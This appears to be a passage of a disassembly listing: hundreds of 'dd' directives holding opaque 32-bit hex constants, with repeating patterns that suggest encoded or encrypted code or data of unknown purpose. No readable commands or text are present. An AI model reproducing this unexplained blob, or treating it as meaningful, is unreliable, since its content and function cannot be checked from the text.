		dd 0BCD3EEE6h, 9860C01Bh, 5E1924B7h, 9CB6DD34h,	5D6CE4B7h
		dd 0ECE34E34h, 52600C3Dh, 0C976585Ah, 0C0D3EEB3h, 9860C03Ch
		dd 5D5EFEB7h, 9CB6DD34h, 5D7A0CB7h, 0ECE34E34h,	52600C3Dh
		dd 1AD3C05Ah, 0C0D3EEB8h, 9860C03Ch, 5D5EFEB7h,	9CB6DD34h
		dd 5B94D9B7h, 0F8DB0B34h, 15600C1Ch, 1337A63Dh,	90A01132h
		dd 132E87CBh, 98F2C7Eh,	0A099FBE8h, 132E1FE7h, 2DDC0DBFh
		dd 0C599427Ah, 0E7D2A7BBh, 90A0177Ch, 132E87CBh, 0CBA82C7Eh
		dd 0A099FF46h, 132E1FE7h, 2DDC0DBFh, 0C599427Ah, 0E7DEA7BBh
		dd 90A0177Ch, 132E87CBh, 97592C7Eh, 0A09995B3h,	132E1FE7h
		dd 2DDC0DBFh, 0C599427Ah, 0E7DAA7BBh, 90A0177Ch, 132E87CBh
		dd 557E2C7Eh, 0A099911Dh, 132E1FE7h, 2DDC0DBFh,	0C599427Ah
		dd 0E7DAA7BBh, 90A0177Ch, 132E87CBh, 13722C74h,	0A09998ECh
		dd 132E1FE7h, 2DDC0DBFh, 0C599427Ah, 0E7A2A7BBh, 90A0177Ch
		dd 132E87CBh, 51C2C75h,	0A099A3EEh, 132E1FE7h, 2DDC0DBFh
		dd 0C599427Ah, 0E7AAA7BBh, 90A0177Ch, 132E87CBh, 9BCA2C75h
		dd 0A099CDB5h, 132E1FE7h, 2DDC0DBFh, 0C599427Ah, 0E7B6A7BBh
		dd 90A0177Ch, 132E87CBh, 0B2B42C75h, 0A099F6A8h, 132E1FE7h
		dd 2DDC0DBFh, 0C599427Ah, 0E7B2A7BBh, 90A0177Ch, 132E87CBh
		dd 2C622C75h, 0A09998F3h, 132E1FE7h, 2DDC0DBFh,	0C599427Ah
		dd 0E7BEA7BBh, 0A8E5177Ch, 132E8FCFh, 0D3463132h, 5D69DBB7h
		dd 720E5634h, 0EA86FA1Fh, 5D689187h, 0AFE3AF34h, 0EA60590Ah
		dd 0C9E301E2h, 0D3600AC0h, 5D69DBB7h, 0A40E5634h, 0EAE8A181h
		dd 5D689187h, 0AFE3AF34h, 0EA60590Ah, 0F5E301E2h, 0D3600AC0h
		dd 5D69DBB7h, 0B20E5234h, 0EAA6FE78h, 5D689187h, 0AFE3AF34h
		dd 0EA60590Ah, 0F1E301E2h, 0D3600AC0h, 5D69DBB7h, 0FE0E5D34h
		dd 0EA9DEE5Eh, 5D496987h, 0AFE3AF34h, 0EA60590Ah, 6DE301E2h
		dd 0D3600AC1h, 5D69DBB7h, 400E5534h, 0EADDFBBCh, 5D689187h
		dd 0AFE3AF34h, 0EA60590Ah, 0FDE301E2h, 0D3600AC0h, 5D69DBB7h
		dd 0E90E5234h, 0EADA065Ch, 5D689187h, 0AFE3AF34h, 0EA60590Ah
		dd 0F9E301E2h, 0D3600AC0h, 5D69DBB7h, 0BF0E4234h, 0EAA0980Ch
		dd 5D689187h, 0AFE3AF34h, 0EA60590Ah, 0E5E301E2h, 96600AC0h
		dd 5D79278Fh, 91691134h, 156688D2h, 1A9FC1F4h, 7D20247Ah
		dd 0EFF0DF03h, 1BB33DCDh, 90EB427Ah, 132E1A88h,	90EFC1CDh
		dd 13287B7Eh, 1A9FC1F4h, 7D20247Ah, 0E9C12BE4h,	1BB33DCDh
		dd 90EB427Ah, 132E1A88h, 90EFC1CDh, 13287B6Eh, 1A9FC1F4h
		dd 7D20247Ah, 879AB532h, 1BB33DCDh, 90EB427Ah, 132E1A88h
		dd 90EFC1CDh, 13287B52h, 1A9FC1F4h, 7D20247Ah, 0E3B25E58h
		dd 1BB33DCDh, 90EB427Ah, 132E1A88h, 90EFC1CDh, 13287B56h
		dd 1A9FC1F4h, 7D20247Ah, 81AB41D5h, 1BB33DCDh, 90EB427Ah
		dd 132E1A88h, 90EFC1CDh, 13287B62h, 1A9FC1F4h, 7D20247Ah
		dd 0A4446509h, 1BB33DCDh, 90EB427Ah, 132E1A88h,	90EFC1CDh
		dd 13287B66h, 1A9FC1F4h, 7D20247Ah, 0CA1FFBDFh,	1BB33DCDh
		dd 90EB427Ah, 132E1A88h, 90EFC1CDh, 13287B6Ah, 129BF9B1h
		dd 6066247Ah, 0ECE3D712h, 4660C03Dh, 0AB861A5Ah, 0C0D3DDFCh
		dd 9860593Ch, 5D5E32B7h, 9CB6BB34h, 5B94D6B7h, 0ECE3D734h
		dd 5260C03Dh, 0A438C35Ah, 0C0D3DDF5h, 9860593Ch, 5D5E32B7h
		dd 9CB6BB34h, 5B94DAB7h, 0E8DB9234h, 1560C035h,	90A06447h
		dd 132E2DCBh, 6B637975h, 0A0996E50h, 132E4AE7h,	2DDCA7BFh
		dd 0C599177Ah, 0E79A0DBBh, 90A0427Ch, 132E2DCBh, 1C907971h
		dd 0A0991A48h, 132E4AE7h, 2DDCA7BFh, 0C599177Ah, 0E6660DBBh
		dd 90A0427Ch, 132E2DCBh, 82467971h, 0A0997413h,	132E4AE7h
		dd 2DDCA7BFh, 0C599177Ah, 0E6620DBBh, 0A8E5427Ch, 132E25CFh
		dd 0D3266432h, 5D6971B7h, 160E0734h, 0EAED229Ah, 5D68C487h
		dd 0AFE30534h, 0EA600C0Ah, 19E3ABE2h, 0D3605FC1h, 5D6971B7h
		dd 0C00E0734h, 0EA837904h, 5D68C487h, 0AFE30534h, 0EA600C0Ah
		dd 1DE3ABE2h, 0D3605FC1h, 5D6971B7h, 0F40E0734h, 0EA8C8800h
		dd 5D68C487h, 0AFE30534h, 0EA600C0Ah, 5E3ABE2h,	0D3605FC1h
		dd 5D6971B7h, 220E0734h, 0EAE2D39Eh, 5D68C487h,	0AFE30534h
		dd 0EA600C0Ah, 1E3ABE2h, 0D3605FC1h, 5D6971B7h,	0C10E0B34h
		dd 0EAF117A2h, 5D68C487h, 0AFE30534h, 0EA600C0Ah, 0DE3ABE2h
		dd 0D3605FC1h, 5D6971B7h, 170E0B34h, 0EA9F4C3Ch, 5D68C487h
		dd 0AFE30534h, 0EA600C0Ah, 9E3ABE2h, 0D3605FC1h, 5D6971B7h
		dd 5C0E0934h, 0EAAE154Bh, 5D68C487h, 0AFE30534h, 0EA600C0Ah
		dd 31E3ABE2h, 0D3605FC1h, 5D6971B7h, 9C0E0934h,	0EABAD57Fh
		dd 5D68C487h, 0AFE30534h, 0EA600C0Ah, 35E3ABE2h, 0D3605FC1h
		dd 5D6971B7h, 220E1134h, 0EAFA391Fh, 5D68C487h,	0AFE30534h
		dd 0EA600C0Ah, 3DE3ABE2h, 0D3605FC1h, 5D6971B7h, 3F0E0734h
		dd 0EAB4F7C2h, 5D68C487h, 0AFE30534h, 0EA600C0Ah, 39E3ABE2h
		dd 0D3605FC1h, 5D6971B7h, 0FF0E1634h, 0EA9B6086h, 5D68C487h
		dd 0AFE30534h, 0EA600C0Ah, 0ACE3ABE2h, 0D3605902h, 5D6971B7h
		dd 8C0E0334h, 0EA84BA6Bh, 5D68C487h, 0AFE30534h, 0EA600C0Ah
		dd 25E3ABE2h, 0D3605FC1h, 5D6971B7h, 0D70E0334h, 0EAD7DF52h
		dd 5D68C487h, 0AFE30534h, 0EA600C0Ah, 21E3ABE2h, 0D3605FC1h
		dd 5D6971B7h, 10E0334h,	0EAB984CCh, 5D68C487h, 0AFE30534h
		dd 0EA600C0Ah
		dd 2DE3ABE2h, 0D3605FC1h, 5D6971B7h, 7D0E1B34h,	0EAF872C0h
		dd 5D68C487h, 0AFE30534h, 0EA600C0Ah, 29E3ABE2h, 0D3605FC1h
		dd 5D6971B7h, 2A0E0B34h, 0EAA1DE49h, 5D68C487h,	0AFE30534h
		dd 0EA600C0Ah, 7DE3ABE2h, 0D3605FC1h, 5D6971B7h, 590E0334h
		dd 0EA9C795Ch, 5D68C487h, 0AFE30534h, 0EA600C0Ah, 79E3ABE2h
		dd 0D3605FC1h, 5D6971B7h, 0D80E0334h, 0EAA52416h, 5D68C487h
		dd 0AFE30534h, 0EA600C0Ah, 65E3ABE2h, 0D3605FC1h, 5D6971B7h
		dd 0D90E1B34h, 0EAB29952h, 5D68C487h, 0AFE30534h, 0EA600C0Ah
		dd 55E3ABE2h, 0D3605FC1h, 5D6971B7h, 5B0E1B34h,	0EAF8CB66h
		dd 5D68C487h, 0AFE30534h, 0EA600C0Ah, 51E3ABE2h, 0D3605FC1h
		dd 5D6971B7h, 5D0E1B34h, 0EAB7311Ah, 5D68C487h,	0AFE30534h
		dd 0EA600C0Ah, 5DE3ABE2h, 7F605FC1h, 566E036h, 150E4432h
		dd 7F662222h, 74F3EE32h, 9C60C027h, 5D541DB7h, 1DE3AF34h
		dd 0EA605FE8h, 7D62E2E2h, 15665432h, 1546225Ah,	0EA667B32h
		dd 5D73E9A7h, 0A0E3CD34h, 9C606A19h, 5D756CB7h,	7D26E234h
		dd 15665432h, 1466225Ah, 0EA667B32h, 5D73E9A7h,	0DCE3CD34h
		dd 9E606A27h, 5D6DF887h, 6CFB0334h, 9C600C3Dh, 5D62FF87h
		dd 94FB9834h, 9E60C01Ah, 5D693DAFh, 966DA934h, 916911CBh
		dd 156682EDh, 26061562h, 90E3ABF2h, 0AB605922h,	1566880Eh
		dd 35423031h, 51658F54h, 65ED3116h, 31128B4Ah, 0D18CF12h
		dd 3EFF9FBBh, 0EAE3177Ah, 156C0D3Dh, 1B8E4432h,	0FC662223h
		dd 156611A3h, 7EB10363h, 80EF40E0h, 132E3443h, 150E1558h
		dd 47668822h, 80994458h, 132E3753h, 36C794BBh, 0C5ED8E7Ah
		dd 5B9AC6Bh, 0B8302232h, 31425531h, 42B903A5h, 1AC88400h
		dd 0EA99DBB7h, 0EE4D4FCDh, 9EB10360h, 5D541D8Fh, 0EAAFA134h
		dd 13ECD101h, 9E204900h, 0FCA7C336h, 5FAE113Ah,	0EA8C943Dh
		dd 0D4ED77CDh, 9C3C94C5h, 11A4A130h, 90E3EE60h,	9E60C022h
		dd 5D76C1A7h, 8CF31B34h, 1A605919h, 156682B6h, 96381E32h
		dd 8E8F26F4h, 4F99EECDh, 4D3FE96Ch, 0D33C1F5h, 1566247Ah
		dd 90A11132h, 132EA1C7h, 15664432h, 0E7D69FB1h,	1A66177Ch
		dd 156680B6h, 1AFBC932h, 0EA606C7Fh, 0FCE3EEE1h, 9660C019h
		dd 5D4DAD8Fh, 97694634h, 15661150h, 3E8F0DF5h, 1567427Ah
		dd 98062232h, 5B959987h, 0E6DB0534h, 3E600B3Dh,	9EB1A9CCh
		dd 5D54488Fh, 0EAAF0B34h, 13EC8401h, 9E20E300h,	0FCA79636h
		dd 5FAEBB3Ah, 0EA8CC13Dh, 0D4EDDDCDh, 905FC1C5h, 132EAAA3h
		dd 1571C03Dh, 0A8E52232h, 132E311Fh, 1FE38732h,	0D2664432h
		dd 5D6BE7B7h, 15661034h, 0D2DFE932h, 0AF567144h, 46A1E3DDh
		dd 0C8D3989Fh, 0D260C036h, 1566B874h, 0FB5B2232h, 1A88FFDCh
		dd 1566A8B7h, 0C858C532h, 1ABBFFEFh, 156605B7h,	15604F32h
		dd 96664432h, 0A0EF26F4h, 132E15EFh, 156E71DBh,	26BECF32h
		dd 5D6BE7B7h, 16AED034h, 0D5A74A19h, 9CA77722h,	5D6BE7AFh
		dd 15662C34h, 96698833h, 15664477h, 0AEDD1CB3h,	9069AA89h
		dd 1566880Bh, 156642F5h, 0D3E52232h, 0C8D39836h, 9E60C036h
		dd 5D693DAFh, 9E6DA934h, 0D7ED71E2h, 3CA70D19h,	0F5A7427Ah
		dd 0D0E32130h, 83605924h, 9CA78B9Fh, 747A6076h,	15665EDBh
		dd 26344032h, 0B4F303FBh, 2E600C11h, 2DE22D30h,	96661132h
		dd 2E278CF0h, 5D4DDDBFh, 0FDE32D34h, 9899EECDh,	5B94E587h
		dd 0F0DBC934h, 0B9606A2Eh, 9169D1B6h, 15668834h, 0EA97AD98h
		dd 15DEDDCDh, 98661132h, 5D2808BFh, 9C87BB34h, 5D76A7BFh
		dd 433F4B34h, 1A1F15B9h, 1EED427Ah, 5E3A7B9h, 0F5B7177Ah
		dd 36470D31h, 0E355427Ah, 0D4CB44A4h, 906513D2h, 132E9EF7h
		dd 0D465E9A4h, 0B4DBA16Ch, 1460593Bh, 155F0C3Dh, 985D4432h
		dd 132E2CE7h, 154B953Dh, 985D8832h, 132E6B1Fh, 1547A63Dh
		dd 985D1132h, 132EAFF7h, 1573C03Dh, 88EB2232h, 132916F9h
		dd 0EDED5BCDh, 0E1FC1BBh, 0A18F247Ah, 98661134h, 5A6143AFh
		dd 96B5BB34h, 5D6F838Fh, 91691134h, 1566882Fh, 3A3BC109h
		dd 9169247Ah, 1566113Eh, 19AF0D09h, 9069427Ah, 15662237h
		dd 0EA99A8DBh, 98E3B3CDh, 1A600C20h, 15663AB7h,	0F0DB9232h
		dd 1560C002h, 156DC13Dh, 90EB2232h, 1328C8E6h, 0EA991DDBh
		dd 98E37FCDh, 1A606A20h, 0EA9998B6h, 7CDB0BCDh,	14600AC0h
		dd 1571A73Dh, 905D1132h, 13287AFAh, 156DC13Dh, 90EB2232h
		dd 153EF792h, 0EA99E5DBh, 969977CDh, 5D48CF8Fh,	91691134h
		dd 15668B55h, 0E7D2C109h, 1213247Ch, 13AB94B9h,	2E218E7Ah
		dd 5B94F8B7h, 9E615734h, 5D708CB7h, 905DCF34h, 1328B68Ah
		dd 90ED2547h, 132E2357h, 0D5E3B375h, 60600AC0h,	0B8E3A935h
		dd 52605928h, 0E7A20D09h, 1213427Ch, 328FA7B9h,	2E21177Ah
		dd 5B9440B7h, 9E613134h, 5D706BB7h, 905D5634h, 13287AFEh
		dd 90ED4347h, 132E00EFh, 0C5E32A75h, 6060C6C0h,	74E3CF35h
		dd 52606A21h, 0E7B29409h, 12138E7Ch, 0E6FC1B9h,	2E21247Ah
		dd 5B94C9B7h, 9E61FD34h, 5D6935B7h, 905D6534h, 1328E3D2h
		dd 90ED8F47h, 132E6DA7h, 0C9E31975h, 60605FC0h,	0E8DB0B22h
		dd 15600C35h, 90ED2547h, 132E1D1Bh, 98DB0B75h, 15600C3Fh
		dd 905D2D46h, 1328E25Ah, 90ED8F47h, 132E4C53h, 10DBA175h
		dd 1560592Dh, 0A8E5FA46h, 132E40BFh, 2E0F5632h,	5B955DB7h
		dd 9E61FD34h, 5D72C9B7h, 905D6534h, 1328E26Eh, 90ED8F47h
		dd 132E62C7h, 45E31975h, 60605FC1h, 98E30335h, 52600C21h
		dd 0E606A709h, 1213177Ch, 1170DB9h, 2E21427Ah, 5B9546B7h
		dd 9E616434h, 5D677DB7h, 905D0334h, 1328D166h, 90ED1647h
		dd 132E9D5Fh, 4DE37F75h, 60606CC1h, 0D0E39A35h,	5260C036h
		dd 11EBF9B1h, 1A66247Ah, 15641BB6h, 0F1E3B332h,	60600AC0h
		dd 74E3A935h, 52605926h, 0E61E0D09h, 1213427Ch,	12B7A7B9h
		dd 2E21177Ah, 5B9460B7h, 9E613134h, 5D6C0BB7h, 905D5634h
		dd 13287ADEh, 90ED4347h, 132E21D3h, 0E5E32A75h,	6060C6C0h
		dd 0D8E3CF35h, 52606A15h, 0E7929409h, 5138E7Ch,	129BF9B1h
		dd 6066247Ah, 7CE39A35h, 5260C035h, 0E79EC109h,	1213247Ch
		dd 63794B9h, 2E218E7Ah,	5B94B8B7h, 96765734h, 5D61EC8Fh
		dd 12138834h, 1A2FC1B9h, 2E21247Ah, 5B9511B7h, 9E61FD34h
		dd 5D7D61B7h, 905D6534h, 1328E236h, 90ED8F47h, 132E412Fh
		dd 19E31975h, 60605FC1h, 0E8DB0B22h, 15600C35h,	90ED2547h
		dd 132E1117h, 1DE3B375h, 60600AC1h, 0E8DBA122h,	15605935h
		dd 90ED8F47h, 132E4A7Fh, 5E31975h, 60605FC1h, 90E30335h
		dd 52600C3Fh, 0E672A709h, 1213177Ch, 15F0DB9h, 2E21427Ah
		dd 5B953AB7h, 9E616434h, 5D4929B7h, 905D0334h, 1328D12Eh
		dd 90ED1647h, 132E9F0Fh, 35E37F75h, 60606CC1h, 1CE39A35h
		dd 5260C028h, 0E642C109h, 1213247Ch, 261394B9h,	2E218E7Ah
		dd 5B956CB7h, 9E615734h, 5D48C4B7h, 905DCF34h, 1328B71Eh
		dd 90ED2547h, 132E1777h, 0ACE3B375h, 60600C02h,	0ACE3A935h
		dd 52605910h, 0E6560D09h, 1213427Ch, 253BA7B9h,	2E21177Ah
		dd 5B95E4B7h, 967F3134h, 5B95568Fh, 1C131134h, 1CC735B1h
		dd 6166427Ah, 0A8E3A935h, 5260591Dh, 0E6160D09h, 0C13427Ch
		dd 0E6129FB1h, 6066177Ch, 0B4DB0B3Bh, 15600C3Bh, 90ED2546h
		dd 132E0893h, 21E3B375h, 60600AC1h, 0CE3A935h, 52605919h
		dd 0E65E0D09h, 1213427Ch
		dd 2503A7B9h, 2E21177Ah, 5B95B4B7h, 9E613134h, 5D47EBB7h
		dd 905D5634h, 13287B72h, 90ED4347h, 132E301Bh, 51E32A75h
		dd 6060C6C1h, 98E3CF35h, 52606A19h, 0E62E9409h,	12138E7Ch
		dd 107C1B9h, 1E21247Ah,	10E21ECDh, 0FC668832h, 0EA99BFD8h
		dd 1E6FA709h, 9069177Ah, 15668839h, 8780C1BFh, 0C68F247Ch
		dd 2E99EEC9h, 5D6CFDB7h, 0DE34B34h, 96662232h, 5B94788Fh
		dd 90698934h, 15664439h, 0F345A7BFh, 0BA8F116Ah, 2E9977C9h
		dd 5B94E0B7h, 19E22D34h, 2E661132h, 5B9420B7h, 10E34B34h
		dd 0FC662232h, 0EA99EAA0h, 1566888Ch, 1498C732h, 1523A73Dh
		dd 905D1132h, 13287AAAh, 156DC13Dh, 90EB2232h, 153E73D6h
		dd 0EA9DE5DBh, 89E37FCDh, 1A606CC0h, 15661AB7h,	4FE30532h
		dd 0FC661C51h, 0EA99D964h, 0E7C69409h, 90698E7Ch, 15664439h
		dd 76F9A7BFh, 2A8F116Ah, 9E9977C9h, 1567FAF2h, 0E36D2232h
		dd 1563943Dh, 368F8832h, 9E99BBC9h, 0F4D3ABC2h,	9C605900h
		dd 5D56C187h, 0FC58C434h, 1540A73Dh, 6BED1132h,	9E988B33h
		dd 15A5C5ECh, 2E662272h, 5D54F08Fh, 1DE48734h, 2E664432h
		dd 10E02DC9h, 0FC661132h, 0EA9972D4h, 3ED3F9B9h, 90A1247Ah
		dd 132E1237h, 15668832h, 5CD3CD52h, 98606A02h, 5A6BBDAFh
		dd 1AB57734h, 156666B0h, 4DFBAF32h, 0EA605CAFh,	0CBE587E1h
		dd 9E99BBCDh, 5D566B87h, 10D39834h, 9860C031h, 5B2AF3AFh
		dd 9EB5DD34h, 5D54F0B7h, 5CE30134h, 74600C02h, 1F73BFBFh
		dd 0C699177Dh, 199B15BFh, 0C699427Dh, 156AA13Dh, 90E51132h
		dd 132EB87Bh, 0EAB8AD37h, 88EBDDCDh, 13291C14h,	96695BCDh
		dd 1566443Ah, 0FC62E0B1h, 15661100h, 883E15BFh,	0C699427Fh
		dd 156DA13Dh, 0A0ED1132h, 132EB87Bh, 1561C4DBh,	5CEBA932h
		dd 9C605902h, 5D56C187h, 0E2A86F34h, 0E69709EBh, 0EAF0F896h
		dd 88EB77CDh, 1328093Dh, 0D2EDF1CDh, 3ED39419h,	90EF8E7Ah
		dd 132E41C7h, 3ED3A7B9h, 4531177Ah, 58E205BFh, 0C499427Ch
		dd 0AFA7B9h, 4236177Ah,	3ED30DB9h, 9836427Ah, 5B2B91BFh
		dd 9EB7EE34h, 3EAE03E2h, 5D738DBFh, 0BCDBA134h,	15605902h
		dd 154D0C3Dh, 90ED4432h, 132E0D3Bh, 25CF9419h, 0D45D8E7Ah
		dd 1571C23Dh, 90ED2232h, 132E21E7h, 25CF0D31h, 90EF427Ah
		dd 132E394Bh, 156652DBh, 0D4EDD932h, 1A99497Ah,	9C262232h
		dd 5D4918B7h, 0C0E38934h, 0D2600C2Eh, 5D568BB7h, 15661134h
		dd 7D26E232h, 15665432h, 0EA664863h, 5D7370A7h,	0D8F37734h
		dd 9C600C36h, 5D56F7B7h, 6CE39834h, 4C60C029h, 0E1FF1CDh
		dd 0A099247Ah, 132E04FBh, 0A0D37765h, 98600C19h, 5B3467B7h
		dd 14B6EE34h, 5D5621BFh, 6CDBCF34h, 9E606A29h, 5D73D887h
		dd 9EC27B34h, 5D629987h, 53A18F34h, 156611CEh, 10A64932h
		dd 20108337h, 50E32102h, 9E605921h, 5D7DF1BFh, 0B86ECD34h
		dd 159A64F5h, 9C661132h, 5D625587h, 0EA9EC734h,	1546A73Dh
		dd 2BE71132h, 0C8BB55EFh, 1572C13Dh, 13A12232h,	15661132h
		dd 9C624EB1h, 5D629987h, 0E380CB34h, 0D5A7EECDh, 50E38B31h
		dd 96600C21h, 5D6B338Fh, 91691034h, 156688AFh, 0BFCC7AB3h
		dd 90698898h, 15661120h, 0D2624EB1h, 1566B874h,	0A5F12232h
		dd 1565F8DBh, 0A5F18832h, 0A8E514DAh, 132E2B93h, 2BE21E33h
		dd 0AD668832h, 15664532h, 0E7D69FB1h, 1A66177Ch, 156680B6h
		dd 93FBC932h, 0EA606C67h, 855991E1h, 156E0C3Dh,	0D2E54432h
		dd 1525CB37h, 0EDE51132h, 1FE48762h, 0A5664432h, 0BF3E88A2h
		dd 156635DBh, 95CCD032h, 1A8FBB4Dh, 15663AB7h, 0A5DB9232h
		dd 1560C6C0h, 156EC03Dh, 88EB2232h, 13284464h, 52EE5BCDh
		dd 6CE3CF36h, 3E606A29h, 118E92F5h, 53A12599h, 156644CEh
		dd 0EA77CB32h, 0A0EFEECDh, 132E8CEFh, 95662C60h, 150C2232h
		dd 36C7A4CDh, 80998E7Ah, 132E4EC7h, 6CEBA968h, 0D260593Dh
		dd 15668833h, 11A7C732h, 1A1FAFBBh, 58F177Ah, 0FC9977C7h
		dd 15664296h, 6CEBA952h, 9E60593Dh, 0B9EB013Bh,	94600AC0h
		dd 51326C0Ah, 9E31E7Eh,	73668832h, 59623CB3h, 5E32D1Ch
		dd 9E661132h, 13A00BC2h, 271BC1B9h, 138F247Ah, 9E661133h
		dd 26B603C2h, 155AE8FBh, 153BA63Dh, 385A1132h, 0EA890C3Dh
		dd 3B5ABBCDh, 155BA63Dh, 255A1132h, 14660A3Dh, 2C5A4432h
		dd 0EAB1A43Dh, 545AEECDh, 15960A3Dh, 4F5A4432h,	0EAA1A43Dh
		dd 4A5AEECDh, 0EAD90C3Dh, 745ABBCDh, 15BEA03Dh,	6F5A1132h
		dd 0EAC90E3Dh, 0DE8FBBCDh, 57662232h, 9169C709h, 156688F0h
		dd 8F8F0578h, 9099DDCDh, 0A6E21EFBh, 98668832h,	5D621987h
		dd 9EACA934h, 0BB48A1C8h, 0EA9F0D3Dh, 0DA4DBBCDh, 0EC4DFBC5h
		dd 0B195E6B5h, 1599CFF4h, 113BD1BFh, 90ED247Ah,	132E1727h
		dd 906948B7h, 15664428h, 1A9FA7F4h, 7D21177Ah, 0C1FC2FE0h
		dd 3CCFF1CDh, 90EB247Ah, 132D6E52h, 0EA3458CDh,	1AA6C1E2h
		dd 15661AB7h, 0F8E39A32h, 9060C02Bh, 0FE34BF2h,	0D3662232h
		dd 5D69E8B7h, 0FC0EC434h, 0EABF9E2Eh, 5D4F8B87h, 75E39C34h
		dd 0EA60C34Dh, 0C59916E2h, 9069E2B7h, 15661137h, 1566A9DBh
		dd 0B9E3CD32h, 45606CC0h, 10E39C64h, 0EA60C348h, 1AA64FE2h
		dd 156627B7h, 1562F832h, 51EF8832h, 0D6075816h,	0B9EBA952h
		dd 45605FC0h, 556549B9h, 9DF6CF0Eh, 9C662232h, 5D5788A7h
		dd 159E8D34h, 45ED4432h, 0E8F3AB3Eh, 4D605937h,	3142CCB9h
		dd 905D8519h, 132E27CFh, 1576933Dh, 905D8832h, 132E75ABh
		dd 1562A13Dh, 0D7071132h, 0D2078836h, 15666036h, 51A12232h
		dd 15661516h, 10DE8832h, 98664432h, 5D28A2BFh, 7587EE34h
		dd 0FC5A8EB8h, 1558C03Dh, 0FD5A2232h, 1524953Dh, 1A5A8832h
		dd 1574C03Dh, 0D85A2232h, 1559953Dh, 0FE5A8832h, 152FC03Dh
		dd 0D6072232h, 95674FB8h, 0EEE678D1h, 0FAE34BB2h, 9E99DDCDh
		dd 13A592ECh, 0FC64D631h, 15664426h, 96677CB9h,	9169EAC9h
		dd 1566881Bh, 4B659AB9h, 10A5A133h, 0EA99D8DBh,	4BD087CDh
		dd 3B8DC733h, 0EADAA63Dh, 1F8FEECDh, 95668832h,	1A98454Ch
		dd 0EA998FB7h, 0EA06F8CDh, 443077CDh, 0D5551361h, 95BEA89Eh
		dd 0EEE6E1D1h, 0F9E28742h, 29664432h, 30E22D3Dh, 29661132h
		dd 91E287DBh, 29664433h, 0E22DD9h, 29661130h, 64E287D1h
		dd 29664432h, 56E22DD0h, 4A661130h, 0D638D169h,	0E61AC1F5h
		dd 1560247Ch, 0BEC1132h, 95966BB2h, 9069C4C9h, 0EA99DDD1h
		dd 0F4E39A7Ch, 9E60C000h, 5D6541A7h, 96B8A934h,	4B6517F1h
		dd 1ABEB330h, 15664CB0h, 1ABC1932h, 0EA99AFB4h,	96B9A3CDh
		dd 0B80042D9h, 0BEF58954h, 9C62D7B1h, 61EFAC0Eh, 0A0EF4816h
		dd 132E127Bh, 4B3F4A6Dh, 0FC624CB1h, 0EA99BE52h, 0E61AA7F5h
		dd 1564177Ch, 0CBED8832h, 9568F23Dh, 9669A2CBh,	1566113Ah
		dd 0FC255131h, 1566443Fh, 0E299CBB2h, 0EA8790EBh, 3E668832h
		dd 0F4E3CFEBh, 9E606A00h, 5D6514A7h, 40DB0B34h,	14600C2Ah
		dd 15C5A63Dh, 0CD5D1132h, 15FD0A3Dh, 0CF5D4432h, 0EA27A03Dh
		dd 9B8FEECDh, 0D2668832h, 5B9538B7h, 15662034h,	1AB89A32h
		dd 0ECE68684h, 1DE54BB2h, 16662232h, 188F52EBh,	95668832h
		dd 0CC91BBDBh, 1599C3B3h, 0CC4D1132h, 27870DB9h, 80ED427Ah
		dd 132E2137h, 0D33ACB1h, 1A678E7Ah, 15660CB6h, 1ABE1932h
		dd 156619B0h, 1ABCB332h, 0EA98A2B4h, 1AD66CCDh,	0A5689B98h
		dd 1A8708B2h, 3ECC8538h
		dd 118DA1EDh, 0D3E5BAA1h, 5CD30130h, 0D2600C02h, 5D7E77B7h
		dd 15661034h, 11A20B32h, 0D1E51D69h, 11A2A136h,	0EA9F66DBh
		dd 0FCD6C6CDh, 3EA0CF98h, 118EA1F5h, 11A29299h,	9638D169h
		dd 0D28F40F6h, 0D299DDCBh, 5B956DB7h, 15668D34h, 96B8CF32h
		dd 0B6526F1h, 278794B9h, 80ED8E7Ah, 132E4737h, 0E0DBA17Ch
		dd 1460591Bh, 14650C3Dh, 0CD5D4432h, 156EA03Dh,	0CF5D1132h
		dd 154D0E3Dh, 0A0EF4432h, 132E127Bh, 0E61A8CB9h, 49678E7Ch
		dd 0CB8F4816h, 4A662232h, 3C9394F5h, 15678E7Ah,	4C3D4432h
		dd 11A2A16Ch, 0EA9EE6DBh, 40DB0BCDh, 14600C2Ah,	15DDA63Dh
		dd 884D1132h, 132EBAD3h, 3ED3C9B9h, 0DE65247Ah,	0FCE5DE19h
		dd 0BF8F3837h, 0D1E5EFA3h, 4B3F7936h, 0FC62D5B1h, 0EA99711Ch
		dd 0E61AC1F5h, 1564247Ch, 0CBED1132h, 95683E3Dh, 9669C4CBh
		dd 1566223Ah, 0FC25C831h, 1566883Fh, 0E299ADB2h, 0EA87A3EBh
		dd 3E661132h, 0F4E303EBh, 9E600C00h, 5D6527A7h,	0EA20F834h
		dd 90A177CDh, 1328B74Eh, 15662230h, 0A369CFB9h,	959F083Ch
		dd 156EC73Dh, 0CC652232h, 156BF871h, 0FCE68832h, 94BFB3CDh
		dd 1566DDD3h, 9EBF3A32h, 5D5469B7h, 10F3CF34h, 96606A31h
		dd 5D7E448Fh, 91698934h, 0EA99BAFBh, 9769FA09h,	1566113Ah
		dd 93695209h, 0EA99B955h, 3EA8A97Ch, 108F92FDh,	84CC6182h
		dd 0EDEEAD99h, 13ECDDCDh, 9169F90Eh, 15668834h,	157EADCAh
		dd 9E352232h, 143812ECh, 0A5634BB1h, 0CA4DEEDAh, 8662C9B1h
		dd 0D3E54A99h, 44A57137h, 2960CF54h, 55E22DF1h,	29661132h
		dd 2DE287F9h, 29664432h, 2DE22DF0h, 29661132h, 25E287F8h
		dd 73664432h, 1A43DD0Fh, 156621B6h, 3B5BEE32h, 18E34BCDh
		dd 9F662232h, 0E5421374h, 9169280Eh, 15664411h,	2C8FDA6Bh
		dd 26661132h, 0C8FC9FBh, 0AC664432h, 15662231h,	15661EDBh
		dd 15603132h, 108F4432h, 0AC662232h, 15661135h,	98ED2CC1h
		dd 132E4737h, 9069EBB7h, 15661134h, 16633DBBh, 0EC3F427Ah
		dd 13ED44F1h, 9169D20Eh, 15668857h, 0F6E69CB8h,	659DA2C2h
		dd 15FA953Dh, 0FC5A8832h, 1529C03Dh, 0FE5A2232h, 1521953Dh
		dd 0D75A8832h, 1559C03Dh, 0DE5A2232h, 1551953Dh, 28008832h
		dd 916961CDh, 1566221Fh, 9169DB0Eh, 15668817h, 9169A70Eh
		dd 15662250h, 0EA482C54h, 156B0D3Dh, 53EC4432h,	29960630h
		dd 13E21E92h, 0ED668832h, 15664BDBh, 10D3AB32h,	98605931h
		dd 5B2A3FAFh, 0ECB5BB34h, 53ED72F1h, 0D4E39822h, 4D60C01Bh
